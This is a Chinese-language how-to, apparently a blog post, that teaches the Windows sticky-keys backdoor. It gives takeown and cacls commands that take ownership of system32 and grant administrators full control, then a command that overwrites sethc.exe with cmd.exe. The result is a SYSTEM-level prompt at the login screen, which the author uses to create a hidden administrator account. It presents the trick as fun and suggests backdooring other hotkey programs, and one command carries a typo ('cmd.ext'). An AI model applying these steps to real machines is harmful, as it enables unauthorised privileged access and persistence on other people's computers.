原理
cmd.exe 覆盖 sethc.exe
sethc.exe:Windows的粘滞键。是按5下shift后,windows就执行了system32下的sethc.exe。
效果
连按五次shift会打开cmd,而不是sethc
流程
cmd操作流程
- 进入system32 目录
- 更改目录拥有者,归于管理员组
- cacls 更改文件的权限,为后面操作做铺垫
- 更改文件属性,让管理员对目录完全控制
- 备份sethc.exe以防不测
- cmd.exe覆盖sethc.exe,此时流程已完成,sethc已变为cmd
实操
按照实操流程介绍各个指令在这个后门的用法
Takeown指令参数:
/R 递归: 指示工具运行于指定的目录和子目录里的文件上。
/A 将所有权给于管理员组,而不是当前用户。
/F 指定文件名或目录名模式。
操作:
Takeown /R /A /F *.*
表示所有文件归于管理员组,“ * ”为任意数量的任意字符
Cacls指令参数:
/E 编辑 ACL 而不替换。
/T 更改当前目录及其所有子目录中
/G 赋予指定用户访问权限。R读取,W写入,C更改(写入),F完全控制
操作:
Cacls C:\Windows\system32\*.* /E /T /G administrators:F
表示管理员对此路径下的目录完全控制
前面的铺垫都是为了这一步
Move cmd.ext sethc.exe
使cmd覆盖sethc
验证漏洞是否可用
已是成成的了
这里有一个要注意的点,在这个界面呼出cmd,因为没有登入用户,所以此cmd是以最高权限运行的
若是登入用户则是以当前用户权限运行
快乐时光
创建用户 ajie
赋予ajie管理员权限
激活ajie用户
重启
可见新用户,登入
其实只要自身权限允许,把setch删了,然后cmd改名就行
还有一种方法是通过注册表来实现,通过修改注册表的映像劫持和打开其远程桌面来实现。这里就不细谈
然后其他可以用快捷键呼出的东西,基本都能用此方法留下后门,配合一些奇思妙想可以产生一些神奇的操作